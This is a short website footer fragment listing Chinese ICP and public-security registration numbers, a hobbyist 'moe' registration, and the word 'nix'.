miit 晋ICP备2024043071号-1 | police 晋公网安备14090002000501 | moe 萌ICP备20258688号
nix